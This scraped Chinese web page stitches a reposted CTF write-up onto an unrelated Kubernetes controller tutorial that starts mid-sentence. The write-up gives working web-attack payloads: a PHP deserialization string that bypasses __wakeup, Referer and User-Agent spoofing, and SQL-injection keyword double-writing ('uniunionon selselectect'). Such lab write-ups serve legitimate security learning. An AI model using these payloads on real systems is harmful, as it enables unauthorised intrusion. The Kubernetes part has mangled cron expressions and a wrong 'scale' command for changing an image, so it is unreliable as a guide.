}$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
304
转载
转载文章
...根据集群负载自动水平调整Pod的数量,实现削峰填谷 DaemonSet:在集群中的指定Node上运行且仅运行一个副本,一般用于守护进程类的任务 Job:它创建出来的pod只要完成任务就立即退出,不需要重启或重建,用于执行一次性任务 Cronjob:它创建的Pod负责周期性任务控制,不需要持续后台运行,可以理解为是定时任务; StatefulSet:管理有状态应用 1、ReplicaSet 简称为RS,主要的作用是保证一定数量的pod能够正常运行,它会持续监听这些pod的运行状态,提供了以下功能 自愈能力: 重启 :当某节点中的pod运行过程中出现问题导致无法启动时,k8s会不断重启,直到可用状态为止 故障转移:当正在运行中pod所在的节点发生故障或者宕机时,k8s会选择集群中另一个可用节点,将pod运行到可用节点上; pod数量的扩缩容:pod副本的扩容和缩容 镜像升降级:支持镜像版本的升级和降级; 配置模板 rs的所有配置如下 apiVersion: apps/v1 版本号kind: ReplicaSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: rsspec: 详情描述replicas: 3 副本数量selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则,key就是label的key,values的值是个数组,意思是标签值必须是此数组中的其中一个才能匹配上;- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels: 这里的标签必须和上面的matchLabels一致,将他们关联起来app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建一个ReplicaSet 新建一个文件 rs.yaml,内容如下 apiVersion: apps/v1kind: ReplicaSet pod控制器metadata: 元数据name: pc-replicaset 名字namespace: dev 名称空间spec:replicas: 3 副本数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podtemplate: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 kubectl create -f rs.yaml 获取replicaset kubectl get replicaset -n dev 2、扩缩容 刚刚我们已经用第一种方式创建了一个replicaSet,现在就基于原来的rs进行扩容,原来的副本数量是3个,现在我们将其扩到6个,做法也很简单,运行编辑命令 第一种方式: scale 使用scale命令实现扩缩容,后面--replicas=n直接指定目标数量即可kubectl scale rs pc-replicaset --replicas=2 -n dev 第二种方式:使用edit命令编辑rs 这种方式相当于使用vi编辑修改yaml配置的内容,进去后将replicas的值改为1,保存后自动生效kubectl edit rs pc-replicaset -n dev 3、镜像版本变更 第一种方式:scale kubectl scale rs pc-replicaset nginx=nginx:1.71.2 -n dev 第二种方式:edit 这种方式相当于使用vi编辑修改yaml配置的内容,进去后将nginx的值改为nginx:1.71.2,保存后自动生效kubectl edit rs pc-replicaset -n dev 4、删除rs 第一种方式kubectl delete -f rs.yaml 第二种方式 ,如果想要只删rs,但不删除pod,可在删除时加上--cascade=false参数(不推荐)kubectl delete rs pc-replicaset -n dev --cascade=false 2、Deployment k8s v1.2版本后加入Deployment;这种控制器不直接控制pod,而是通过管理ReplicaSet来间接管理pod;也就是Deployment管理ReplicaSet,ReplicaSet管理pod;所以 Deployment 比 ReplicaSet 功能更加强大 当我们创建了一个Deployment之后,也会自动创建一个ReplicaSet 功能 支持ReplicaSet 的所有功能 支持发布的停止、继续 支持版本的滚动更新和回退功能 配置模板 新建文件 apiVersion: apps/v1 版本号kind: Deployment 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: deployspec: 详情描述replicas: 3 副本数量revisionHistoryLimit: 3 保留历史版本的数量,默认10,内部通过保留rs来实现paused: false 暂停部署,默认是falseprogressDeadlineSeconds: 600 部署超时时间(s),默认是600strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxSurge: 30% 最大额外可以存在的副本数,可以为百分比,也可以为整数maxUnavailable: 30% 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建和删除Deployment 创建pc-deployment.yaml,内容如下: apiVersion: apps/v1kind: Deployment metadata:name: pc-deploymentnamespace: devspec: replicas: 3selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 创建和查看 创建deployment,--record=true 表示记录整个deployment更新过程[root@k8s-master01 ~] kubectl create -f pc-deployment.yaml --record=truedeployment.apps/pc-deployment created 查看deployment READY 可用的/总数 UP-TO-DATE 最新版本的pod的数量 AVAILABLE 当前可用的pod的数量[root@k8s-master01 ~] kubectl get deploy pc-deployment -n devNAME READY UP-TO-DATE AVAILABLE AGEpc-deployment 3/3 3 3 15s 查看rs 发现rs的名称是在原来deployment的名字后面添加了一个10位数的随机串[root@k8s-master01 ~] kubectl get rs -n devNAME DESIRED CURRENT READY AGEpc-deployment-6696798b78 3 3 3 23s 查看pod[root@k8s-master01 ~] kubectl get pods -n devNAME READY STATUS RESTARTS AGEpc-deployment-6696798b78-d2c8n 1/1 Running 0 107spc-deployment-6696798b78-smpvp 1/1 Running 0 107spc-deployment-6696798b78-wvjd8 1/1 Running 0 107s 删除deployment 删除deployment,其下的rs和pod也将被删除kubectl delete -f pc-deployment.yaml 2、扩缩容 deployment的扩缩容和 ReplicaSet 的扩缩容一样,只需要将rs或者replicaSet改为deployment即可,具体请参考上面的 ReplicaSet 扩缩容 3、镜像更新 刚刚在创建时加上了--record=true参数,所以在一旦进行了镜像更新,就会新建出一个pod出来,将老的old-pod上的容器全删除,然后在新的new-pod上在新建对应数量的容器,此时old-pod是不会删除的,因为这个old-pod是要进行回退的; 镜像更新策略有2种 滚动更新(RollingUpdate):(默认值),杀死一部分,就启动一部分,在更新过程中,存在两个版本Pod 重建更新(Recreate):在创建出新的Pod之前会先杀掉所有已存在的Pod strategy:指定新的Pod替换旧的Pod的策略, 支持两个属性:type:指定策略类型,支持两种策略Recreate:在创建出新的Pod之前会先杀掉所有已存在的PodRollingUpdate:滚动更新,就是杀死一部分,就启动一部分,在更新过程中,存在两个版本PodrollingUpdate:当type为RollingUpdate时生效,用于为RollingUpdate设置参数,支持两个属性:maxUnavailable:用来指定在升级过程中不可用Pod的最大数量,默认为25%。maxSurge: 用来指定在升级过程中可以超过期望的Pod的最大数量,默认为25%。 重建更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: Recreate 重建更新 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.2 -n devdeployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-5d89bdfbf9-65qcw 1/1 Running 0 31spc-deployment-5d89bdfbf9-w5nzv 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-65qcw 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-w5nzv 1/1 Terminating 0 41spc-deployment-675d469f8b-grn8z 0/1 Pending 0 0spc-deployment-675d469f8b-hbl4v 0/1 Pending 0 0spc-deployment-675d469f8b-67nz2 0/1 Pending 0 0spc-deployment-675d469f8b-grn8z 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-hbl4v 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-67nz2 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-grn8z 1/1 Running 0 1spc-deployment-675d469f8b-67nz2 1/1 Running 0 1spc-deployment-675d469f8b-hbl4v 1/1 Running 0 2s 滚动更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate:maxSurge: 25% maxUnavailable: 25% 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.3 -n dev deployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-c848d767-8rbzt 1/1 Running 0 31mpc-deployment-c848d767-h4p68 1/1 Running 0 31mpc-deployment-c848d767-hlmz4 1/1 Running 0 31mpc-deployment-c848d767-rrqcn 1/1 Running 0 31mpc-deployment-966bf7f44-226rx 0/1 Pending 0 0spc-deployment-966bf7f44-226rx 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-226rx 1/1 Running 0 1spc-deployment-c848d767-h4p68 0/1 Terminating 0 34mpc-deployment-966bf7f44-cnd44 0/1 Pending 0 0spc-deployment-966bf7f44-cnd44 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-cnd44 1/1 Running 0 2spc-deployment-c848d767-hlmz4 0/1 Terminating 0 34mpc-deployment-966bf7f44-px48p 0/1 Pending 0 0spc-deployment-966bf7f44-px48p 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-px48p 1/1 Running 0 0spc-deployment-c848d767-8rbzt 0/1 Terminating 0 34mpc-deployment-966bf7f44-dkmqp 0/1 Pending 0 0spc-deployment-966bf7f44-dkmqp 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-dkmqp 1/1 Running 0 2spc-deployment-c848d767-rrqcn 0/1 Terminating 0 34m 至此,新版本的pod创建完毕,就版本的pod销毁完毕 中间过程是滚动进行的,也就是边销毁边创建 4、版本回退 更新 刚刚在创建时加上了--record=true参数,所以在一旦进行了镜像更新,就会新建出一个pod出来,将老的old-pod上的容器全删除,然后在新的new-pod上在新建对应数量的容器,此时old-pod是不会删除的,因为这个old-pod是要进行回退的; 回退 在回退时会将new-pod上的容器全部删除,在将old-pod上恢复原来的容器; 回退命令 kubectl rollout: 版本升级相关功能,支持下面的选项: status 显示当前升级状态 history 显示 升级历史记录 pause 暂停版本升级过程 resume 继续已经暂停的版本升级过程 restart 重启版本升级过程 undo 回滚到上一级版本(可以使用–to-revision回滚到指定版本) 用法 查看当前升级版本的状态kubectl rollout status deploy pc-deployment -n dev 查看升级历史记录kubectl rollout history deploy pc-deployment -n dev 版本回滚 这里直接使用--to-revision=1回滚到了1版本, 如果省略这个选项,就是回退到上个版本kubectl rollout undo deployment pc-deployment --to-revision=1 -n dev 金丝雀发布 Deployment控制器支持控制更新过程中的控制,如“暂停(pause)”或“继续(resume)”更新操作。 比如有一批新的Pod资源创建完成后立即暂停更新过程,此时,仅存在一部分新版本的应用,主体部分还是旧的版本。然后,再筛选一小部分的用户请求路由到新版本的Pod应用,继续观察能否稳定地按期望的方式运行。确定没问题之后再继续完成余下的Pod资源滚动更新,否则立即回滚更新操作。这就是所谓的金丝雀发布。 金丝雀发布不是自动完成的,需要人为手动去操作,才能达到金丝雀发布的标准; 更新deployment的版本,并配置暂停deploymentkubectl set image deploy pc-deployment nginx=nginx:1.17.4 -n dev && kubectl rollout pause deployment pc-deployment -n dev 观察更新状态kubectl rollout status deploy pc-deployment -n dev 监控更新的过程kubectl get rs -n dev -o wide 确保更新的pod没问题了,继续更新kubectl rollout resume deploy pc-deployment -n dev 如果有问题,就回退到上个版本回退到上个版本kubectl rollout undo deployment pc-deployment -n dev Horizontal Pod Autoscaler 简称HPA,使用deployment可以手动调整pod的数量来实现扩容和缩容;但是这显然不符合k8s的自动化的定位,k8s期望可以通过检测pod的使用情况,实现pod数量自动调整,于是就有了HPA控制器; HPA可以获取每个Pod利用率,然后和HPA中定义的指标进行对比,同时计算出需要伸缩的具体值,最后实现Pod的数量的调整。比如说我指定了一个规则:当我的cpu利用率达到90%或者内存使用率到达80%的时候,就需要进行调整pod的副本数量,每次添加n个pod副本; 其实HPA与之前的Deployment一样,也属于一种Kubernetes资源对象,它通过追踪分析ReplicaSet控制器的所有目标Pod的负载变化情况,来确定是否需要针对性地调整目标Pod的副本数,也就是HPA管理Deployment,Deployment管理ReplicaSet,ReplicaSet管理pod,这是HPA的实现原理。 1、安装metrics-server metrics-server可以用来收集集群中的资源使用情况 安装git[root@k8s-master01 ~] yum install git -y 获取metrics-server, 注意使用的版本[root@k8s-master01 ~] git clone -b v0.3.6 https://github.com/kubernetes-incubator/metrics-server 修改deployment, 注意修改的是镜像和初始化参数[root@k8s-master01 ~] cd /root/metrics-server/deploy/1.8+/[root@k8s-master01 1.8+] vim metrics-server-deployment.yaml按图中添加下面选项hostNetwork: trueimage: registry.cn-hangzhou.aliyuncs.com/google_containers/metrics-server-amd64:v0.3.6args:- --kubelet-insecure-tls- --kubelet-preferred-address-types=InternalIP,Hostname,InternalDNS,ExternalDNS,ExternalIP 2、安装metrics-server [root@k8s-master01 1.8+] kubectl apply -f ./ 3、查看pod运行情况 [root@k8s-master01 1.8+] kubectl get pod -n kube-systemmetrics-server-6b976979db-2xwbj 1/1 Running 0 90s 4、使用kubectl top node 查看资源使用情况 [root@k8s-master01 1.8+] kubectl top nodeNAME CPU(cores) CPU% MEMORY(bytes) MEMORY%k8s-master01 289m 14% 1582Mi 54% k8s-node01 81m 4% 1195Mi 40% k8s-node02 72m 3% 1211Mi 41% [root@k8s-master01 1.8+] kubectl top pod -n kube-systemNAME CPU(cores) MEMORY(bytes)coredns-6955765f44-7ptsb 3m 9Micoredns-6955765f44-vcwr5 3m 8Mietcd-master 14m 145Mi... 至此,metrics-server安装完成 5、 准备deployment和servie 创建pc-hpa-pod.yaml文件,内容如下: apiVersion: apps/v1kind: Deploymentmetadata:name: nginxnamespace: devspec:strategy: 策略type: RollingUpdate 滚动更新策略replicas: 1selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1resources: 资源配额limits: 限制资源(上限)cpu: "1" CPU限制,单位是core数requests: 请求资源(下限)cpu: "100m" CPU限制,单位是core数 创建deployment [root@k8s-master01 1.8+] kubectl run nginx --image=nginx:1.17.1 --requests=cpu=100m -n dev 6、创建service [root@k8s-master01 1.8+] kubectl expose deployment nginx --type=NodePort --port=80 -n dev 7、查看 [root@k8s-master01 1.8+] kubectl get deployment,pod,svc -n devNAME READY UP-TO-DATE AVAILABLE AGEdeployment.apps/nginx 1/1 1 1 47sNAME READY STATUS RESTARTS AGEpod/nginx-7df9756ccc-bh8dr 1/1 Running 0 47sNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEservice/nginx NodePort 10.101.18.29 <none> 80:31830/TCP 35s 8、 部署HPA 创建pc-hpa.yaml文件,内容如下: apiVersion: autoscaling/v1kind: HorizontalPodAutoscalermetadata:name: pc-hpanamespace: devspec:minReplicas: 1 最小pod数量maxReplicas: 10 最大pod数量 ,pod数量会在1~10之间自动伸缩targetCPUUtilizationPercentage: 3 CPU使用率指标,如果cpu使用率达到3%就会进行扩容;为了测试方便,将这个数值调小一些scaleTargetRef: 指定要控制的nginx信息apiVersion: /v1kind: Deploymentname: nginx 创建hpa [root@k8s-master01 1.8+] kubectl create -f pc-hpa.yamlhorizontalpodautoscaler.autoscaling/pc-hpa created 查看hpa [root@k8s-master01 1.8+] kubectl get hpa -n devNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 62s 9、 测试 使用压测工具对service地址192.168.5.4:31830进行压测,然后通过控制台查看hpa和pod的变化 hpa变化 [root@k8s-master01 ~] kubectl get hpa -n dev -wNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 4m11spc-hpa Deployment/nginx 0%/3% 1 10 1 5m19spc-hpa Deployment/nginx 22%/3% 1 10 1 6m50spc-hpa Deployment/nginx 22%/3% 1 10 4 7m5spc-hpa Deployment/nginx 22%/3% 1 10 8 7m21spc-hpa Deployment/nginx 6%/3% 1 10 8 7m51spc-hpa Deployment/nginx 0%/3% 1 10 8 9m6spc-hpa Deployment/nginx 0%/3% 1 10 8 13mpc-hpa Deployment/nginx 0%/3% 1 10 1 14m deployment变化 [root@k8s-master01 ~] kubectl get deployment -n dev -wNAME READY UP-TO-DATE AVAILABLE AGEnginx 1/1 1 1 11mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 4 1 13mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 8 1 14mnginx 2/8 8 2 14mnginx 3/8 8 3 14mnginx 4/8 8 4 14mnginx 5/8 8 5 14mnginx 6/8 8 6 14mnginx 7/8 8 7 14mnginx 8/8 8 8 15mnginx 8/1 8 8 20mnginx 8/1 8 8 20mnginx 1/1 1 1 20m pod变化 [root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEnginx-7df9756ccc-bh8dr 1/1 Running 0 11mnginx-7df9756ccc-cpgrv 0/1 Pending 0 0snginx-7df9756ccc-8zhwk 0/1 Pending 0 0snginx-7df9756ccc-rr9bn 0/1 Pending 0 0snginx-7df9756ccc-cpgrv 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 0/1 ContainerCreating 0 0snginx-7df9756ccc-rr9bn 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 Pending 0 0snginx-7df9756ccc-sl9c6 0/1 Pending 0 0snginx-7df9756ccc-fgst7 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 ContainerCreating 0 0snginx-7df9756ccc-sl9c6 0/1 ContainerCreating 0 0snginx-7df9756ccc-fgst7 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 1/1 Running 0 19snginx-7df9756ccc-rr9bn 1/1 Running 0 30snginx-7df9756ccc-m9gsj 1/1 Running 0 21snginx-7df9756ccc-cpgrv 1/1 Running 0 47snginx-7df9756ccc-sl9c6 1/1 Running 0 33snginx-7df9756ccc-g56qb 1/1 Running 0 48snginx-7df9756ccc-fgst7 1/1 Running 0 66snginx-7df9756ccc-fgst7 1/1 Terminating 0 6m50snginx-7df9756ccc-8zhwk 1/1 Terminating 0 7m5snginx-7df9756ccc-cpgrv 1/1 Terminating 0 7m5snginx-7df9756ccc-g56qb 1/1 Terminating 0 6m50snginx-7df9756ccc-rr9bn 1/1 Terminating 0 7m5snginx-7df9756ccc-m9gsj 1/1 Terminating 0 6m50snginx-7df9756ccc-sl9c6 1/1 Terminating 0 6m50s DaemonSet 简称DS,ds可以保证在集群中的每一台节点(或指定节点)上都运行一个副本,一般适用于日志收集、节点监控等场景;也就是说,如果一个Pod提供的功能是节点级别的(每个节点都需要且只需要一个),那么这类Pod就适合使用DaemonSet类型的控制器创建。 DaemonSet控制器的特点: 每当向集群中添加一个节点时,指定的 Pod 副本也将添加到该节点上 当节点从集群中移除时,Pod 也就被垃圾回收了 配置模板 apiVersion: apps/v1 版本号kind: DaemonSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: daemonsetspec: 详情描述revisionHistoryLimit: 3 保留历史版本updateStrategy: 更新策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxUnavailable: 1 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建ds 创建pc-daemonset.yaml,内容如下: apiVersion: apps/v1kind: DaemonSet metadata:name: pc-daemonsetnamespace: devspec: selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 创建daemonset[root@k8s-master01 ~] kubectl create -f pc-daemonset.yamldaemonset.apps/pc-daemonset created 查看daemonset[root@k8s-master01 ~] kubectl get ds -n dev -o wideNAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE AGE CONTAINERS IMAGES pc-daemonset 2 2 2 2 2 24s nginx nginx:1.17.1 查看pod,发现在每个Node上都运行一个pod[root@k8s-master01 ~] kubectl get pods -n dev -o wideNAME READY STATUS RESTARTS AGE IP NODE pc-daemonset-9bck8 1/1 Running 0 37s 10.244.1.43 node1 pc-daemonset-k224w 1/1 Running 0 37s 10.244.2.74 node2 2、删除daemonset [root@k8s-master01 ~] kubectl delete -f pc-daemonset.yamldaemonset.apps "pc-daemonset" deleted Job 主要用于负责批量处理一次性(每个任务仅运行一次就结束)任务。当然,你也可以运行多次,配置好即可,Job特点如下: 当Job创建的pod执行成功结束时,Job将记录成功结束的pod数量 当成功结束的pod达到指定的数量时,Job将完成执行 配置模板 apiVersion: batch/v1 版本号kind: Job 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: jobspec: 详情描述completions: 1 指定job需要成功运行Pods的次数。默认值: 1parallelism: 1 指定job在任一时刻应该并发运行Pods的数量。默认值: 1activeDeadlineSeconds: 30 指定job可运行的时间期限,超过时间还未结束,系统将会尝试进行终止。backoffLimit: 6 指定job失败后进行重试的次数。默认是6manualSelector: true 是否可以使用selector选择器选择pod,默认是falseselector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: counter-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [counter-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: counter-podspec:restartPolicy: Never 重启策略只能设置为Never或者OnFailurecontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 2;done"] 关于重启策略设置的说明:(这里只能设置为Never或者OnFailure) 如果指定为OnFailure,则job会在pod出现故障时重启容器,而不是创建pod,failed次数不变 如果指定为Never,则job会在pod出现故障时创建新的pod,并且故障pod不会消失,也不会重启,failed次数加1 如果指定为Always的话,就意味着一直重启,意味着job任务会重复去执行了,当然不对,所以不能设置为Always 1、创建一个job 创建pc-job.yaml,内容如下: apiVersion: batch/v1kind: Job metadata:name: pc-jobnamespace: devspec:manualSelector: trueselector:matchLabels:app: counter-podtemplate:metadata:labels:app: counter-podspec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 创建 创建job[root@k8s-master01 ~] kubectl create -f pc-job.yamljob.batch/pc-job created 查看job[root@k8s-master01 ~] kubectl get job -n dev -o wide -wNAME COMPLETIONS DURATION AGE CONTAINERS IMAGES SELECTORpc-job 0/1 21s 21s counter busybox:1.30 app=counter-podpc-job 1/1 31s 79s counter busybox:1.30 app=counter-pod 通过观察pod状态可以看到,pod在运行完毕任务后,就会变成Completed状态[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-rxg96 1/1 Running 0 29spc-job-rxg96 0/1 Completed 0 33s 接下来,调整下pod运行的总数量和并行数量 即:在spec下设置下面两个选项 completions: 6 指定job需要成功运行Pods的次数为6 parallelism: 3 指定job并发运行Pods的数量为3 然后重新运行job,观察效果,此时会发现,job会每次运行3个pod,总共执行了6个pod[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-684ft 1/1 Running 0 5spc-job-jhj49 1/1 Running 0 5spc-job-pfcvh 1/1 Running 0 5spc-job-684ft 0/1 Completed 0 11spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 ContainerCreating 0 0spc-job-jhj49 0/1 Completed 0 11spc-job-fhwf7 0/1 Pending 0 0spc-job-fhwf7 0/1 Pending 0 0spc-job-pfcvh 0/1 Completed 0 11spc-job-5vg2j 0/1 Pending 0 0spc-job-fhwf7 0/1 ContainerCreating 0 0spc-job-5vg2j 0/1 Pending 0 0spc-job-5vg2j 0/1 ContainerCreating 0 0spc-job-fhwf7 1/1 Running 0 2spc-job-v7rhr 1/1 Running 0 2spc-job-5vg2j 1/1 Running 0 3spc-job-fhwf7 0/1 Completed 0 12spc-job-v7rhr 0/1 Completed 0 12spc-job-5vg2j 0/1 Completed 0 12s 2、删除 删除jobkubectl delete -f pc-job.yaml CronJob 简称为CJ,CronJob控制器以 Job控制器资源为其管控对象,并借助它管理pod资源对象,Job控制器定义的作业任务在其控制器资源创建之后便会立即执行,但CronJob可以以类似于Linux操作系统的周期性任务作业计划的方式控制其运行时间点及重复运行的方式。也就是说,CronJob可以在特定的时间点(反复的)去运行job任务。可以理解为定时任务 配置模板 apiVersion: batch/v1beta1 版本号kind: CronJob 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: cronjobspec: 详情描述schedule: cron格式的作业调度运行时间点,用于控制任务在什么时间执行concurrencyPolicy: 并发执行策略,用于定义前一次作业运行尚未完成时是否以及如何运行后一次的作业failedJobHistoryLimit: 为失败的任务执行保留的历史记录数,默认为1successfulJobHistoryLimit: 为成功的任务执行保留的历史记录数,默认为3startingDeadlineSeconds: 启动作业错误的超时时长jobTemplate: job控制器模板,用于为cronjob控制器生成job对象;下面其实就是job的定义metadata:spec:completions: 1parallelism: 1activeDeadlineSeconds: 30backoffLimit: 6manualSelector: trueselector:matchLabels:app: counter-podmatchExpressions: 规则- {key: app, operator: In, values: [counter-pod]}template:metadata:labels:app: counter-podspec:restartPolicy: Never containers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 20;done"] cron表达式写法 需要重点解释的几个选项:schedule: cron表达式,用于指定任务的执行时间/1 <分钟> <小时> <日> <月份> <星期>分钟 值从 0 到 59.小时 值从 0 到 23.日 值从 1 到 31.月 值从 1 到 12.星期 值从 0 到 6, 0 代表星期日多个时间可以用逗号隔开; 范围可以用连字符给出;可以作为通配符; /表示每... 例如1 // 每个小时的第一分钟执行/1 // 每分钟都执行concurrencyPolicy:Allow: 允许Jobs并发运行(默认)Forbid: 禁止并发运行,如果上一次运行尚未完成,则跳过下一次运行Replace: 替换,取消当前正在运行的作业并用新作业替换它 1、创建cronJob 创建pc-cronjob.yaml,内容如下: apiVersion: batch/v1beta1kind: CronJobmetadata:name: pc-cronjobnamespace: devlabels:controller: cronjobspec:schedule: "/1 " 每分钟执行一次jobTemplate:metadata:spec:template:spec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 运行 创建cronjob[root@k8s-master01 ~] kubectl create -f pc-cronjob.yamlcronjob.batch/pc-cronjob created 查看cronjob[root@k8s-master01 ~] kubectl get cronjobs -n devNAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGEpc-cronjob /1 False 0 <none> 6s 查看job[root@k8s-master01 ~] kubectl get jobs -n devNAME COMPLETIONS DURATION AGEpc-cronjob-1592587800 1/1 28s 3m26spc-cronjob-1592587860 1/1 28s 2m26spc-cronjob-1592587920 1/1 28s 86s 查看pod[root@k8s-master01 ~] kubectl get pods -n devpc-cronjob-1592587800-x4tsm 0/1 Completed 0 2m24spc-cronjob-1592587860-r5gv4 0/1 Completed 0 84spc-cronjob-1592587920-9dxxq 1/1 Running 0 24s 2、删除cronjob kubectl delete -f pc-cronjob.yaml pod调度 什么是调度 默认情况下,一个pod在哪个node节点上运行,是通过scheduler组件采用相应的算法计算出来的,这个过程是不受人工控制的; 调度规则 